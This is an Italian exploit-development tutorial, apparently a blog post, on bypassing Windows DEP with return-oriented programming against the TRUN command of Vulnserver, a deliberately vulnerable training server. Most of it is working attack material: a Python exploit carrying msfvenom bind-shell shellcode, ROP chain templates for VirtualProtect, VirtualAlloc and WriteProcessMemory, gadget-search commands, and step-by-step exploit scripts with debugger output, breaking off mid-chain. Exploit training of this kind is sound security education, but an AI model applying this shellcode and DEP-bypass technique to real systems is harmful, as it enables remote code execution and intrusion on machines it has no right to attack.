DEP Bypass I - Vulnserver TRUN

Tempo di lettura: 32 minuti
Data pubblicazione: February 25, 2023

Introduzione

La Data Exectution Prevention (DEP) è una funzione di protezione della memoria inserita da Windows XP in poi e consente al sistema di contrassegnare una o più pagine di memoria come non eseguibili.

Ciò significa che il codice non può essere eseguito da quella regione di memoria, il che rende più difficile lo sfruttamento di buffer overflow. Se un’applicazione tenta di eseguire codice da una pagina di dati protetta, si verifica un’eccezione di violazione dell’accesso alla memoria e, se l’eccezione non viene gestita, il processo chiamante viene terminato.

In Windows 10 DEP è abilitato di default per ogni eseguibile, per cui non c’è necessità di attivarlo o configurare i programmi. Per verificare è sufficente andare su Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP

Se invece volessimo vedere la protezione su un eseguibile in particolare (al di la delle protezioni aggiuntive aggiunte da Windows), lo script PESecurity ci viene in soccorso.

Proviamo ad eseguire il primo exploit che abbiamo scritto per Vulnserver con DEP abilitato:

import struct
import socket

target = ("127.0.0.1", 9999)  # vulnserver

size = 5011
# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread  
shellcode =  b""
shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
shellcode += b"\xef\x33\xf1"

payload = b"TRUN /.:/ "
payload += b"A" * 2002
payload += struct.pack("<I", 0x62501205)  #EIP
payload += b"\x90" * 30
payload += shellcode
payload += b"C" * (size - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Va in crash sui NOP. Guardando le protezioni su ESP, possiamo vedere come ora sia solo PAGE_READWRITE, mentre quando non c’era DEP era PAGE_EXECUTE_READ.

0:003> !vprot esp
BaseAddress:       00e3f000
AllocationBase:    00c40000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

Ciò rende impossibile seguire la stessa strada di prima ed è necessario trovare un modo per bypassarlo.

ROP

La tecnica che utilizzeremo è quella del Return Oriented Programming (ROP), con la quale si può dirottare il flusso del programma ed eseguire sequenze di istruzioni già presenti nella memoria della macchina, chiamate “gadget”.

Ogni gadget termina con un’istruzione di ritorno (RET) e si trova in una subroutine all’interno del programma esistente e/o del codice di una libreria condivisa. Concatenati insieme, questi gadget consentono di eseguire operazioni arbitrarie su una macchina che utilizza DEP.

In pratica, non aggiungeremo nuove istruzioni all’interno del nostro payload, ma useremo istruzioni già presenti nel programma (o in librerie caricate) in modo che vengano eseguite senza che DEP blocchi l’esecuzione.

Note

La prima cosa da fare è passare il flusso dell’esecuzione dall’EIP al ROP :

  1. Nel caso di sovracrittura di EIP (classico Stack Buffer Overflow), possiamo inserire un istruzione RET trovata con il seguente comando:

     !py mona find -type instr -s "ret" -m MODULE.dll
    
  2. Nel caso di SEH, non potremo più usare l’istruzione POP POP RET, ma dovremo “spostare” ESP in un punto controllato da noi. Le istruzioni che da utilizzare sono diverse, per esempio:

     add esp, offset + ret
     mov esp, register + ret
     xchg register,esp + ret
     call register (se il registro punta al nostro buffer)
     mov reg,[ebp+0c] + call reg (or other references to seh record)
     push reg + pop esp + ret (if you control ‘reg’)
     mov reg, dword ptr fs:[0] + … + ret  (set esp indirectly, via SEH record)
    

Un’altra informazione da sapere è come fare il padding. Se per caso ci servisse fare lo xor di ecx e trovassimo la seguente istruzione

# XOR ECX,ECX # MOV EAX,ECX # POP EBX # POP ESI # RETN

Bisogna ricordarsi che il POP EBX e POP ESI andrà a eliminare i successivi gadget. Dobbiamo quindi inserire del padding, per esempio:

ecx = pack("<I",0x68b90948)  # XOR ECX,ECX # MOV EAX,ECX # POP EBX # POP ESI # RETN
ecx += pack('<L',0x41414141) # padding for pop ebp
ecx += pack('<L',0x41414141) # padding for pop esi

Stessa cosa se trovassimo RETN 0x4 e non RETN. Bisognerà inserire del padding in questo modo

istruzione_retn = $(!py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00")

rop += istruzione_retn # padding for retn 0x04
rop += istruzione_retn # padding for retn 0x04

Uguale nel caso avessimo un gadget di questo tipo:

ADD BYTE PTR [EDI+5EH],BL 
ADD ESP,44 
RETN 0x08

ESP dev’essere riportato al nostro payload, quindi dev’essere aggiunto tot padding quanto ESP si è allontanato

esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
esi += struct.pack("<I",0x41414141)
.....

Un altro consiglio durante la costruzione dei gadget è quello di usare i registri EAX ed ECX per le operazioni aritmetiche. Questo perchè è più probabile che essi vengano utilizzati in memoria per quel motivo e di conseguenza maggiore è la probabilità di trovare gadget.

Una volta che siamo riusciti a controllare il flusso, rimane la necessità di eseguire lo shellcode.

Corelan descrive diverse tecniche, ma il metodo è (quasi) uguale per tutti, ossia unire diversi gadget ROP al fine di chiamare una delle funzioni presenti in memoria che rendano eseguibile la zona di memoria in cui è presente lo shellcode.

Vediamone qualcuna:

Virtual Protect

VirtualProtect modifica la protezione di una regione di pagine all’interno del processo. Essa è composta in questo modo

BOOL WINAPI VirtualProtect(          =>    A pointer to VirtualProtect()
_In_   LPVOID lpAddress,           =>    Return Address (Redirect Execution to ESP)
_In_   SIZE_T dwSize,              =>    dwSize up to you to chose as needed (0x201)
_In_   DWORD flNewProtect,         =>    flNewProtect (0x40)
_Out_  PDWORD lpflOldProtect       =>    A writable pointer
);

Dove:

  1. VirtualProtect è il puntatore alla funzione VirtualProtect in kernel32.dll. Lo ricaveremo dalla IAT
  2. lpAddress è l’indirizzo dello shellcode
  3. dwSize la grandezza dell’area di memoria che ci serve rendere eseguibile
  4. flNewProtect lo imposteremo a 0x40, ossia PAGE_EXECUTE_READWRITE
  5. lpflOldProtect un puntatore ad un area di memoria scrivibile (RW)

Le tecniche con il quale possiamo sostituire i parametri della funzione sono due:

  1. Possiamo inserire i valori richiesti nei registri e poi eseguire un PUSHAD finale (che metterà tutto sullo stack in una sola volta).
  2. Possiamo inserire i parametri statici/senza null byte già sullo stack, usare alcuni gadget ROP per calcolare gli altri parametri e scriverli successivamente (chiamata tecnica sniper).

Per la prima, il template base che useremo è il seguente. Ogni registro dovrà avere il valore definito in questo template

#GOALS - VirtualProtect
#EAX 90909090 => Nop                                              
#ECX <writeable pointer> => lpflOldProtect                                
#EDX 00000040 => flNewProtect                                   
#EBX 00000201 => dwSize   512                                      
#ESP ???????? => Leave as is                                 
#EBP ???????? => Call to ESP (jmp, call, push,..) -> !py mona jmp -r esp -cpb '\x00'              
#ESI ???????? => PTR to VirtualProtect - DWORD PTR of VirtualProtect 
#EDI RETN => ROP-Nop same as EIP  --> !py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00"

Per la seconda sarà invece

# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90)    # Pointer to kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
payload += struct.pack('<L', 0x22222222)    # lpAddress
payload += struct.pack('<L', 0x33333333)    # size of shellcode (0x300 should be ok)
payload += struct.pack('<L', 0x44444444)    # flNewProtect (0x40)
payload += struct.pack('<L', 0x62506d10)    # pOldProtect (any writeable address)

VirtualAlloc

VirtualAlloc cambia lo stato di una regione di pagine nello spazio degli indirizzi virtuali del processo, quindi molto simile alla precedente. La funzione è composta in questo modo:

LPVOID WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
_In_opt_  LPVOID lpAddress,        =>    Return Address (Redirect Execution to ESP)
_In_      SIZE_T dwSize,           =>    dwSize (0x1)
_In_      DWORD flAllocationType,  =>    flAllocationType (0x1000 - MEM_COMMIT)
_In_      DWORD flProtect          =>    flProtect (0x40 - EXECUTE_READWRITE)
);

Anche in questo caso le tecniche per sostituire i valori sono due. Quella base, con il seguente template (molto simile a VirtualProtect)

#---------------------------------------------------------------------#
#GOAL       VirtualAlloc                                         
# EAX 90909090 => Nop                                                
# ECX 00000040 => flProtect                                         
# EDX 00001000 => flAllocationType                                    
# EBX 00000001 => dwSize                                            
# ESP ???????? => Leave as is                                         
# EBP ???????? => Call to ESP (jmp, call, push,..)    !py mona jmp -r esp -cpb '\x00'                    
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of VirtualAlloc         
# EDI RETN => ROP-Nop same as EIP          !py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00"                       
#---------------------------------------------------------------------#

E quella sniper:

rop += struct.pack("<L", 0x66666666) # dummy VirutalAlloc Address (pointer to VirtualProtect) 
rop += struct.pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += struct.pack("<L", 0x44444444) # # dummy Shellcode Address  (pointer to shellcode address)
rop += struct.pack("<L", 0x33333333) # dummy dwSize  - 0x1
rop += struct.pack("<L", 0x22222222) # # dummy flAllocationType  - 0x1000
rop += struct.pack("<L", 0x11111111) # dummy flProtect - 0x40

WriteProcessMemory

Ultima tecnica che vedremo è WriteProcessMemory, la quale scrive dati in un’area della memoria in un processo specificato. L’intera area da scrivere deve essere accessibile, altrimenti l’operazione fallisce.

BOOL WriteProcessMemory( 
HANDLE  hProcess, 
LPVOID  lpBaseAddress, 
LPCVOID lpBuffer, 
SIZE_T  nSize, 
SIZE_T  *lpNumberOfBytesWritten 
);
  1. WriteProcessMemory è il puntatore alla funzione preso dalla IAT
  2. hProcess lo metteremo a 0xFFFFFFFF in modo che punti al processo corrente
  3. lpBaseAddress sarà una regione di memoria RX
  4. lpBuffer è il base address dello shellcode, calcolato durante l’esecuzione del payload
  5. nSize la grandezza dello shellcode
  6. lpNumberOfBytesWritten è una regione di memoria RW

Il template che utilizzeremo è il seguente

# kernel32!WriteProcessMemory placeholder parameters
payload += struct.pack('<L', 0x7732ae50)    # Pointer to kernel32!WriteProcessMemory 
payload += struct.pack('<L', 0x61c72d10)    # RX from MODULE no aslr
payload += struct.pack('<L', 0xFFFFFFFF)    # hProccess = handle to current process (Pseudo handle = 0xFFFFFFFF points to current process)
payload += struct.pack('<L', 0x61c72d10)    # lpBaseAddress = RX from MODULE no aslr
payload += struct.pack('<L', 0x11111111)    # lpBuffer = base address of shellcode (dynamically generated)
payload += struct.pack('<L', 0x22222222)    # nSize = size of shellcode 
payload += struct.pack('<L', 0x1004dd10)    # lpNumberOfBytesWritten = writable location RW in MODULE no aslr

Un aspetto negativo di WriteProcessMemory è che non potremo utilizzare shellcode (reverse o bind shell) create con encoder, perchè non verranno eseguiti. Quindi lo shellcode che inseriremo dovrà essere “a nudo” e senza bad char. Approfondiremo l’argomento quando capiterà in un prossimo articolo.

Tutte queste tecniche possono essere implementate con l’utilizzo dei gadget trovati all’interno dell’eseguibile o delle DLL e tanta creatività.

Ora che abbiamo introdotto alcune delle nozioni teoriche, possiamo iniziare l’esercizio.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

Vulnserver TRUN

Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.

Già in questo articolo abbiamo analizzato la vulnerabilità presente con il comando TRUN, ma stavolta bypasseremo il DEP con la tecnica VirtualProtect.

Trovare i gadget

Il primo passo è quello di trovare i gadget (dopo aver identificato i bad char). Ci possono essere diversi modi, tra i quali mona con il comando:

!py mona rop -m essfunc.dll -cpb '\x00'

Dove modulo.dll è una libreria utilizzata dal programma. Per trovare le libreria si può usare il comando

!py mona modules -cm rebase=false 

Mona oltre ai gadget cercherà di costruire la chain ROP in maniera automatica ma non la utilizzeremo poiché faremo tutto manualmente.

Altrimenti si può usare rp++ con il comando:

rp-win-x86.exe -f essfunc.dll -r 5 > rop.txt

In aggiunta si può usare anche questo tool, che è un wrapper intorno a rp++.

python find-gadgets.py -f ..\..\vulnserver\essfunc.dll -b 00 -o 1.Vulnserver_TRUN\rop.txt

Io utilizzerò mona poiché credo sia più completo (mi sembra che trovi sempre più gadget rispetto agli altri due).

Una volta trovati i gadget cerchiamo il RET con il quale iniziare a modificare il flusso di esecuzione (TRUN è vulnerabile a Stack Buffer Overflow)

!py mona find -type instr -s "retn" -m essfunc -cpb "\x00"

0x62501022 |   0x62501022 : retn | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x62501057 |   0x62501057 : retn | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625010b6 |   0x625010b6 : retn |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011ab |   0x625011ab : retn |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)

Prendiamo il primo e lo mettiamo al posto del vecchio JMP ESP (i passaggi per arrivare fino a qui sono descritti nel primo articolo).

import struct 
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x62501022) # RET - ROP NOP
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Metto il breakpoint ed eseguo

0:001> bp 0x62501022
0:001> g
Breakpoint 0 hit
eax=009df1e8 ebx=000000c8 ecx=00fc5528 edx=000024d6 esi=00401848 edi=00401848
eip=62501022 esp=009df9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x1022:
62501022 c3              ret
0:001> p
eax=009df1e8 ebx=000000c8 ecx=00fc5528 edx=000024d6 esi=00401848 edi=00401848
eip=43434343 esp=009df9cc ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
43434343 ??              ???
0:001> 

Ha continuato l’esecuzione verso le C, perfetto.

Puntatore a VirtualProtect

Prima abbiamo accennato alla IAT, che è usata come una tabella di lookup quando l’applicazione cerca di usare una funzione di una libreria condivisa esterna. In pratica sono le funzioni esterne che l’eseguibile richiama dal sistema operativo. Per vederla possiamo fare in diversi modi tra i quali

  1. Usare IDA (o un qualsiasi disassembler). Una volta caricato l’eseguibile nel tab “Import” cerchiamo la funzione che ci serve e prendiamo nota dell’indirizzo
  1. In alternativa possiamo cercarla direttamente da WinDBG con il seguente comando (fsws sarebbe il modulo nel quale vogliamo cercare, nel nostro caso sarebbe essfunc)

     0:009> !dh fsws -f
         0  DLL characteristics
         0 [       0] address [size] of Export Directory
     192B50 [     1CC] address [size] of Import Directory
     1AE000 [   133E0] address [size] of Resource Directory
         0 [       0] address [size] of Exception Directory
         0 [       0] address [size] of Security Directory
         0 [       0] address [size] of Base Relocation Directory
     166C40 [      1C] address [size] of Debug Directory
         0 [       0] address [size] of Description Directory
         0 [       0] address [size] of Special Directory
         0 [       0] address [size] of Thread Storage Directory
         0 [       0] address [size] of Load Configuration Directory
         0 [       0] address [size] of Bound Import Directory
     166000 [     C40] address [size] of Import Address Table Directory
         0 [       0] address [size] of Delay Import Directory
         0 [       0] address [size] of COR20 Header Directory
         0 [       0] address [size] of Reserved Directory
    

    Dumpiamo all’offset trovato (0x166000) la IAT e prendiamo nota dell’indirizzo di Kernel32!VirtualProtect

     0:009> dps fsws +0x166000 L100
     00566000  7606eb20 advapi32!RegCloseKeyStub
     00566004  760731e0 advapi32!RegEnumKeyA
     00566008  7606ea50 advapi32!RegQueryValueExAStub
     005662f4  7588b6b0 KERNEL32!GetPrivateProfileStringA
     005662f8  7588ae50 KERNEL32!WritePrivateProfileStringA
     005662fc  758887a0 KERNEL32!GetModuleFileNameAStub
     ......
    

Poiché ASLR è disabilitato possiamo prendere l’indirizzo di VirtualProtect (0x6250609c) senza problemi, sapendo che non cambierà a meno di un riavvio di Windows. Nel caso in cui ASLR fosse abilitato lo si dovrebbe trovare in maniera dinamica (lo vedremo nei prossimi articoli).

Area di Memoria RW

Un’altro valore statico che ci serve è un’area di memoria con protezione RW all’interno del modulo. Anche qui ci sono diversi modi:

  1. Usare un tool come Process hacker:

Lo guardo con WinDBG

0:001> !address 0x62506000
                                    
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Image
Base Address:           62506000
End Address:            62507000
Region Size:            00001000 (   4.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   01000000          MEM_IMAGE
Allocation Base:        62500000
Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY

Questo conferma che è PAGE_READWRITE. Cerco qualche indirizzo in cui non c’è nulla

0:001> db 62507000-100
62506f00  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
62506f10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
62506f20  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

E scelgo 0x62506f10 (attenzione sempre ai bad char).

  1. Nel caso non avessimo a disposizione nessun tool, con WinDBG è possibile cercare le protezioni delle sezioni di un modulo con il comando:

     0:000> !dh essfunc
     File Type: DLL
     FILE HEADER VALUES
         14C machine (i386)
         7 number of sections
     4CE61C00 time date stamp Fri Nov 19 07:41:04 2010
    
         1C00 file pointer to symbol table
         19A number of symbols
         E0 size of optional header
         2306 characteristics
                 Executable
                 Line numbers stripped
                 32 bit word machine
                 Debug information stripped
                 DLL
    
     OPTIONAL HEADER VALUES
         10B magic #
         2.56 linker version
         C00 size of code
         1800 size of initialized data
         200 size of uninitialized data
         10C0 address of entry point
         1000 base of code
             ----- new -----
    
     ......
    
     SECTION HEADER #1
     .text name
         A1C virtual size
         1000 virtual address
         C00 size of raw data
         400 file pointer to raw data
         0 file pointer to relocation table
         0 file pointer to line numbers
         0 number of relocations
         0 number of line numbers
     60500060 flags
             Code
             Initialized Data
             16 byte align
             Execute Read
    
     ......
    
     SECTION HEADER #6
     .idata name
         224 virtual size
         6000 virtual address
         400 size of raw data
         1600 file pointer to raw data
         0 file pointer to relocation table
         0 file pointer to line numbers
         0 number of relocations
         0 number of line numbers
     C0300040 flags
         Initialized Data
         4 byte align
         Read Write
    
    
     SECTION HEADER #7
     .reloc name
         E4 virtual size
         7000 virtual address
         200 size of raw data
         1A00 file pointer to raw data
         0 file pointer to relocation table
         0 file pointer to line numbers
         0 number of relocations
         0 number of line numbers
     42300040 flags
             Initialized Data
             Discardable
             4 byte align
             Read Only
    

Il SECTION HEADER #6 è Read Write, vediamo ora all’offset essfunc + 224 (virtual size) + 6000 (virtual address) + 4

0:000>  ? essfunc + 224 + 6000 + 4
Evaluate expression: 1649435176 = 62506228
0:000> !address 62506228

Usage:                  Image
Base Address:           62506000
End Address:            62507000
Region Size:            00001000 (   4.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   01000000          MEM_IMAGE
Allocation Base:        62500000
Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Users\User\Desktop\vulnserver\essfunc.dll
Module Name:            essfunc
Loaded Image Name:      
Mapped Image Name:      
More info:              lmv m essfunc
More info:              !lmi essfunc
More info:              ln 0x62506228
More info:              !dh 0x62500000

Conferma che è RW, vediamo se c’è qualcosa all’interno:

0:000> dd 62506228
62506228  00000000 00000000 00000000 00000000
62506238  00000000 00000000 00000000 00000000
62506248  00000000 00000000 00000000 00000000
62506258  00000000 00000000 00000000 00000000
62506268  00000000 00000000 00000000 00000000
62506278  00000000 00000000 00000000 00000000
62506288  00000000 00000000 00000000 00000000
62506298  00000000 00000000 00000000 00000000

Ottimo, anche questo potrebbe andar bene.

Ricapitolando il nostro template è ora fatto in questo modo:

EAX 90909090 => Nop                                                 
ECX 62506f10 => flProtect - puntatore ad un writable pointer                       
EDX 00000040 => flNewProtect
EBX 00000201 => dwSize - 513, si può allungare nel caso                                              
ESP ???????? => Leave as is                                         
EBP ???????? => Call to ESP (jmp, call, push,..)                    
ESI 6250609c => PTR to VirtualAlloc - DWORD PTR     
EDI ???????? => ROP-Nop uguale ad EIP   

Possiamo iniziare a costruire la chain di gadget.

EAX

Il primo registro da inserire è EAX. Per inserire il valore 90909090 ci basterà trovare un’istruzione # POP EAX # RETN nel file rop.txt

eax = pack("<I",0x625011b4) #0x625011b4: pop eax ; ret 
eax += pack("<I",0x90909090) # NOP

Aggiorno lo script che diventa

import struct 
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

######
#EAX 90909090 => Nop {DONE}                                                
#ECX 62506f10 => flProtect - puntatore ad un writable pointer                       
#EDX 00000040 => flNewProtect
#EBX 00000201 => dwSize - 513, si può allungare nel caso                                              
#ESP ???????? => Leave as is                                         
#EBP ???????? => Call to ESP (jmp, call, push,..)                    
#ESI 6250609c => PTR to VirtualAlloc - DWORD PTR of 0xADDRESS       
#EDI ???????? => ROP-Nop uguale ad EIP   
######

rop_nop = 0x62501022 # RETN

#### EAX - {DONE} 
eax = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret 
eax += struct.pack("<I",0x90909090) # NOP

#### ECX

#### EDX

#### EBX

#### EBP

#### ESI

#### EDI

rop = eax

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",rop_nop) # ROP NOP
payload += rop

payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Metto il solito breakpoint su rop_nop e lancio:

0:001> bp 0x62501022
0:001> g
Breakpoint 0 hit
eax=00adf1e8 ebx=000000cc ecx=010b54b0 edx=00009c66 esi=00401848 edi=00401848
eip=62501022 esp=00adf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x1022:
62501022 c3              ret

0:001> p
eax=00adf1e8 ebx=000000cc ecx=010b54b0 edx=00009c66 esi=00401848 edi=00401848
eip=625011b4 esp=00adf9cc ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x8:
625011b4 58              pop     eax

0:001> p
eax=90909090 ebx=000000cc ecx=010b54b0 edx=00009c66 esi=00401848 edi=00401848
eip=625011b5 esp=00adf9d0 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc2+0x9:
625011b5 c3              ret
0:001> r eax
eax=90909090

Perfetto, EAX ora contiene il nostro sled. Passiamo al prossimo.

ECX

Il valore di ECX l’abbiamo trovato prima, è 0x62506f10. Cerco un POP ECX # RETN e lo aggiungo alla chain

import struct 
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

######
#EAX 90909090 => Nop {DONE}                                                
#ECX 62506f10 => flProtect {DONE}                     
#EDX 00000040 => flNewProtect
#EBX 00000201 => dwSize - 513, si può allungare nel caso                                              
#ESP ???????? => Leave as is                                         
#EBP ???????? => Call to ESP (jmp, call, push,..)                    
#ESI 6250609c => PTR to VirtualAlloc - DWORD PTR of 0xADDRESS       
#EDI ???????? => ROP-Nop uguale ad EIP   
######

rop_nop = 0x62501022 # RETN

#### EAX - {DONE} 
eax = struct.pack("<I",0x625011b4) #0x625011b4: pop eax ; ret 
eax += struct.pack("<I",0x90909090) # NOP

#### ECX {DONE}
ecx = struct.pack("<I",0x6250120c) # pop ecx; ret;
ecx += struct.pack("<I",0x62506f10) # RW page

rop = ecx

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",rop_nop) # ROP NOP
payload += rop

payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Metto di nuovo il breakpoint ed eseguo:

0:003> bp 0x62501022
0:003> g
Breakpoint 0 hit
eax=00d6f1e8 ebx=0000000c ecx=00b65528 edx=00003ba7 esi=00401848 edi=00401848
eip=62501022 esp=00d6f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x1022:
62501022 c3              ret
0:003> p
eax=00d6f1e8 ebx=0000000c ecx=00b65528 edx=00003ba7 esi=00401848 edi=00401848
eip=62501022 esp=00d6f9d4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc!EssentialFunc9+0xc:
62501022 59              pop     ecx
0:003> p
